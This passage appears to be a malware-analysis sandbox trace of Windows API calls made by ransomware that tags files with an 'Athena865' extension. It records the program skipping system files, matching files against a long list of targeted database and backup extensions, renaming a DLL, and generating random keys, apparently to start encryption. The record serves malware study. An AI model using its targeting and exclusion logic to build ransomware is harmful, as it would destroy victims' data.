ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0107.087] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0107.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="..") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="windows") returned -1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="bootmgr") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="temp") returned -1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="pagefile.sys") returned -1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="boot") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ids.txt") returned 1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="ntuser.dat") returned -1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="perflogs") returned -1 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2="MSBuild") returned 1 [0107.088] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0107.088] lstrcpyW (in: lpString1=0x241e8b0, lpString2="MSOEURO.DLL" | out: lpString1="MSOEURO.DLL") returned="MSOEURO.DLL" [0107.088] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0107.088] lstrlenW (lpString="Athena865") returned 9 [0107.088] lstrcmpiW (lpString1="OEURO.DLL", lpString2="Athena865") returned 1 [0107.088] lstrlenW (lpString=".dll") returned 4 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".dll") returned 1 [0107.088] lstrlenW (lpString=".lnk") returned 4 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".lnk") returned 1 [0107.088] lstrlenW (lpString=".ini") returned 4 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".ini") returned 1 [0107.088] lstrlenW (lpString=".sys") returned 4 [0107.088] lstrcmpiW (lpString1="MSOEURO.DLL", lpString2=".sys") returned 1 [0107.088] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0107.088] lstrlenW (lpString="bak") returned 3 [0107.088] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0107.088] lstrlenW (lpString="ba_") returned 3 [0107.088] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0107.088] lstrlenW (lpString="dbb") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0107.089] lstrlenW (lpString="vmdk") returned 4 [0107.089] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0107.089] lstrlenW (lpString="rar") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0107.089] lstrlenW (lpString="zip") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0107.089] lstrlenW (lpString="tgz") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0107.089] lstrlenW (lpString="vbox") returned 4 [0107.089] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0107.089] lstrlenW (lpString="vdi") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0107.089] lstrlenW (lpString="vhd") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0107.089] lstrlenW (lpString="vhdx") returned 4 [0107.089] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0107.089] lstrlenW (lpString="avhd") returned 4 [0107.089] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0107.089] lstrlenW (lpString="db") returned 2 [0107.089] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0107.089] lstrlenW (lpString="db2") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0107.089] lstrlenW (lpString="db3") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0107.089] lstrlenW (lpString="dbf") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0107.089] lstrlenW (lpString="mdf") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0107.089] lstrlenW (lpString="mdb") returned 3 [0107.089] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0107.090] lstrlenW (lpString="sql") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0107.090] lstrlenW (lpString="sqlite") returned 6 [0107.090] lstrcmpiW (lpString1="RO.DLL", lpString2="sqlite") returned -1 [0107.090] lstrlenW (lpString="sqlite3") returned 7 [0107.090] lstrcmpiW (lpString1="URO.DLL", lpString2="sqlite3") returned 1 [0107.090] lstrlenW (lpString="sqlitedb") returned 8 [0107.090] lstrcmpiW (lpString1="EURO.DLL", lpString2="sqlitedb") returned -1 [0107.090] lstrlenW (lpString="xml") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0107.090] lstrlenW (lpString="$er") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0107.090] lstrlenW (lpString="4dd") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0107.090] lstrlenW (lpString="4dl") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0107.090] lstrlenW (lpString="^^^") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0107.090] lstrlenW (lpString="abs") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0107.090] lstrlenW (lpString="abx") returned 3 [0107.090] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0107.090] lstrlenW (lpString="accdb") returned 5 [0107.090] lstrcmpiW (lpString1="O.DLL", lpString2="accdb") returned 1 [0107.090] lstrlenW (lpString="accdc") returned 5 [0107.090] lstrcmpiW (lpString1="O.DLL", lpString2="accdc") returned 1 [0107.090] lstrlenW (lpString="accde") returned 5 [0107.090] lstrcmpiW (lpString1="O.DLL", lpString2="accde") returned 1 [0107.090] lstrlenW (lpString="accdr") returned 5 [0107.090] lstrcmpiW (lpString1="O.DLL", lpString2="accdr") returned 1 [0107.090] lstrlenW (lpString="accdt") returned 5 [0107.090] lstrcmpiW (lpString1="O.DLL", lpString2="accdt") returned 1 [0107.091] lstrlenW (lpString="accdw") returned 5 [0107.091] lstrcmpiW (lpString1="O.DLL", lpString2="accdw") returned 1 [0107.091] lstrlenW (lpString="accft") returned 5 [0107.091] lstrcmpiW (lpString1="O.DLL", lpString2="accft") returned 1 [0107.091] lstrlenW (lpString="adb") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0107.091] lstrlenW (lpString="adb") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0107.091] lstrlenW (lpString="ade") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0107.091] lstrlenW (lpString="adf") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0107.091] lstrlenW (lpString="adn") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0107.091] lstrlenW (lpString="adp") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0107.091] lstrlenW (lpString="alf") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0107.091] lstrlenW (lpString="ask") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0107.091] lstrlenW (lpString="btr") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0107.091] lstrlenW (lpString="cat") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0107.091] lstrlenW (lpString="cdb") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0107.091] lstrlenW (lpString="ckp") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0107.091] lstrlenW (lpString="cma") returned 3 [0107.091] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0107.091] lstrlenW (lpString="cpd") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0107.092] lstrlenW (lpString="dacpac") returned 6 [0107.092] lstrcmpiW (lpString1="RO.DLL", lpString2="dacpac") returned 1 [0107.092] lstrlenW (lpString="dad") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0107.092] lstrlenW (lpString="dadiagrams") returned 10 [0107.092] lstrcmpiW (lpString1="SOEURO.DLL", lpString2="dadiagrams") returned 1 [0107.092] lstrlenW (lpString="daschema") returned 8 [0107.092] lstrcmpiW (lpString1="EURO.DLL", lpString2="daschema") returned 1 [0107.092] lstrlenW (lpString="db-journal") returned 10 [0107.092] lstrcmpiW (lpString1="SOEURO.DLL", lpString2="db-journal") returned 1 [0107.092] lstrlenW (lpString="db-shm") returned 6 [0107.092] lstrcmpiW (lpString1="RO.DLL", lpString2="db-shm") returned 1 [0107.092] lstrlenW (lpString="db-wal") returned 6 [0107.092] lstrcmpiW (lpString1="RO.DLL", lpString2="db-wal") returned 1 [0107.092] lstrlenW (lpString="dbc") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0107.092] lstrlenW (lpString="dbs") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0107.092] lstrlenW (lpString="dbt") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0107.092] lstrlenW (lpString="dbv") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0107.092] lstrlenW (lpString="dbx") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0107.092] lstrlenW (lpString="dcb") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0107.092] lstrlenW (lpString="dct") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0107.092] lstrlenW (lpString="dcx") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0107.092] lstrlenW (lpString="ddl") returned 3 [0107.092] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0107.093] lstrlenW (lpString="dlis") returned 4 [0107.093] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0107.093] lstrlenW (lpString="dp1") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0107.093] lstrlenW (lpString="dqy") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0107.093] lstrlenW (lpString="dsk") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0107.093] lstrlenW (lpString="dsn") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0107.093] lstrlenW (lpString="dtsx") returned 4 [0107.093] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0107.093] lstrlenW (lpString="dxl") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0107.093] lstrlenW (lpString="eco") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0107.093] lstrlenW (lpString="ecx") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0107.093] lstrlenW (lpString="edb") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0107.093] lstrlenW (lpString="epim") returned 4 [0107.093] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0107.093] lstrlenW (lpString="fcd") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0107.093] lstrlenW (lpString="fdb") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0107.093] lstrlenW (lpString="fic") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0107.093] lstrlenW (lpString="flexolibrary") returned 12 [0107.093] lstrlenW (lpString="fm5") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0107.093] lstrlenW (lpString="fmp") returned 3 [0107.093] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0107.093] lstrlenW (lpString="fmp12") returned 5 [0107.094] lstrcmpiW (lpString1="O.DLL", lpString2="fmp12") returned 1 [0107.094] lstrlenW (lpString="fmpsl") returned 5 [0107.094] lstrcmpiW (lpString1="O.DLL", lpString2="fmpsl") returned 1 [0107.094] lstrlenW (lpString="fol") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0107.094] lstrlenW (lpString="fp3") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0107.094] lstrlenW (lpString="fp4") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0107.094] lstrlenW (lpString="fp5") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0107.094] lstrlenW (lpString="fp7") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0107.094] lstrlenW (lpString="fpt") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0107.094] lstrlenW (lpString="frm") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0107.094] lstrlenW (lpString="gdb") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0107.094] lstrlenW (lpString="gdb") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0107.094] lstrlenW (lpString="grdb") returned 4 [0107.094] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0107.094] lstrlenW (lpString="gwi") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0107.094] lstrlenW (lpString="hdb") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0107.094] lstrlenW (lpString="his") returned 3 [0107.094] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0107.094] lstrlenW (lpString="ib") returned 2 [0107.094] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0107.094] lstrlenW (lpString="idb") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0107.095] lstrlenW (lpString="ihx") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0107.095] lstrlenW (lpString="itdb") returned 4 [0107.095] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0107.095] lstrlenW (lpString="itw") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0107.095] lstrlenW (lpString="jet") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0107.095] lstrlenW (lpString="jtx") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0107.095] lstrlenW (lpString="kdb") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0107.095] lstrlenW (lpString="kexi") returned 4 [0107.095] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0107.095] lstrlenW (lpString="kexic") returned 5 [0107.095] lstrcmpiW (lpString1="O.DLL", lpString2="kexic") returned 1 [0107.095] lstrlenW (lpString="kexis") returned 5 [0107.095] lstrcmpiW (lpString1="O.DLL", lpString2="kexis") returned 1 [0107.095] lstrlenW (lpString="lgc") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0107.095] lstrlenW (lpString="lwx") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0107.095] lstrlenW (lpString="maf") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0107.095] lstrlenW (lpString="maq") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0107.095] lstrlenW (lpString="mar") returned 3 [0107.095] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0107.095] lstrlenW (lpString="marshal") returned 7 [0107.095] lstrcmpiW (lpString1="URO.DLL", lpString2="marshal") returned 1 [0107.096] lstrlenW (lpString="mas") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0107.096] lstrlenW (lpString="mav") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0107.096] lstrlenW (lpString="maw") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0107.096] lstrlenW (lpString="mdbhtml") returned 7 [0107.096] lstrcmpiW (lpString1="URO.DLL", lpString2="mdbhtml") returned 1 [0107.096] lstrlenW (lpString="mdn") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0107.096] lstrlenW (lpString="mdt") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0107.096] lstrlenW (lpString="mfd") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0107.096] lstrlenW (lpString="mpd") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0107.096] lstrlenW (lpString="mrg") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0107.096] lstrlenW (lpString="mud") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0107.096] lstrlenW (lpString="mwb") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0107.096] lstrlenW (lpString="myd") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0107.096] lstrlenW (lpString="ndf") returned 3 [0107.096] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0107.096] lstrlenW (lpString="nnt") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0107.097] lstrlenW (lpString="nrmlib") returned 6 [0107.097] lstrcmpiW (lpString1="RO.DLL", lpString2="nrmlib") returned 1 [0107.097] lstrlenW (lpString="ns2") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0107.097] lstrlenW (lpString="ns3") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0107.097] lstrlenW (lpString="ns4") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0107.097] lstrlenW (lpString="nsf") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0107.097] lstrlenW (lpString="nv") returned 2 [0107.097] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0107.097] lstrlenW (lpString="nv2") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0107.097] lstrlenW (lpString="nwdb") returned 4 [0107.097] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0107.097] lstrlenW (lpString="nyf") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0107.097] lstrlenW (lpString="odb") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0107.097] lstrlenW (lpString="odb") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0107.097] lstrlenW (lpString="oqy") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0107.097] lstrlenW (lpString="ora") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0107.097] lstrlenW (lpString="orx") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0107.097] lstrlenW (lpString="owc") returned 3 [0107.097] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0107.097] lstrlenW (lpString="p96") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0107.098] lstrlenW (lpString="p97") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0107.098] lstrlenW (lpString="pan") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0107.098] lstrlenW (lpString="pdb") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0107.098] lstrlenW (lpString="pdm") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0107.098] lstrlenW (lpString="pnz") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0107.098] lstrlenW (lpString="qry") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0107.098] lstrlenW (lpString="qvd") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0107.098] lstrlenW (lpString="rbf") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0107.098] lstrlenW (lpString="rctd") returned 4 [0107.098] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0107.098] lstrlenW (lpString="rod") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0107.098] lstrlenW (lpString="rodx") returned 4 [0107.098] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0107.098] lstrlenW (lpString="rpd") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0107.098] lstrlenW (lpString="rsd") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0107.098] lstrlenW (lpString="sas7bdat") returned 8 [0107.098] lstrcmpiW (lpString1="EURO.DLL", lpString2="sas7bdat") returned -1 [0107.098] lstrlenW (lpString="sbf") returned 3 [0107.098] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0107.098] lstrlenW (lpString="scx") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0107.099] lstrlenW (lpString="sdb") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0107.099] lstrlenW (lpString="sdc") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0107.099] lstrlenW (lpString="sdf") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0107.099] lstrlenW (lpString="sis") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0107.099] lstrlenW (lpString="spq") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0107.099] lstrlenW (lpString="te") returned 2 [0107.099] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0107.099] lstrlenW (lpString="teacher") returned 7 [0107.099] lstrcmpiW (lpString1="URO.DLL", lpString2="teacher") returned 1 [0107.099] lstrlenW (lpString="tmd") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0107.099] lstrlenW (lpString="tps") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0107.099] lstrlenW (lpString="trc") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0107.099] lstrlenW (lpString="trc") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0107.099] lstrlenW (lpString="trm") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0107.099] lstrlenW (lpString="udb") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0107.099] lstrlenW (lpString="udl") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0107.099] lstrlenW (lpString="usr") returned 3 [0107.099] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0107.100] lstrlenW (lpString="v12") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0107.100] lstrlenW (lpString="vis") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0107.100] lstrlenW (lpString="vpd") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0107.100] lstrlenW (lpString="vvv") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0107.100] lstrlenW (lpString="wdb") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0107.100] lstrlenW (lpString="wmdb") returned 4 [0107.100] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0107.100] lstrlenW (lpString="wrk") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0107.100] lstrlenW (lpString="xdb") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0107.100] lstrlenW (lpString="xld") returned 3 [0107.100] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0107.100] lstrlenW (lpString="xmlff") returned 5 [0107.100] lstrcmpiW (lpString1="O.DLL", lpString2="xmlff") returned -1 [0107.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.Athena865") returned 73 [0107.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.athena865"), dwFlags=0x1) returned 1 [0107.101] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.101] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31104) returned 1 [0107.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0107.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.102] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.102] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.102] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.103] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c80, lpName=0x0) returned 0x17c [0107.104] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c80) returned 0x100000 [0107.113] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.113] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.113] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.113] 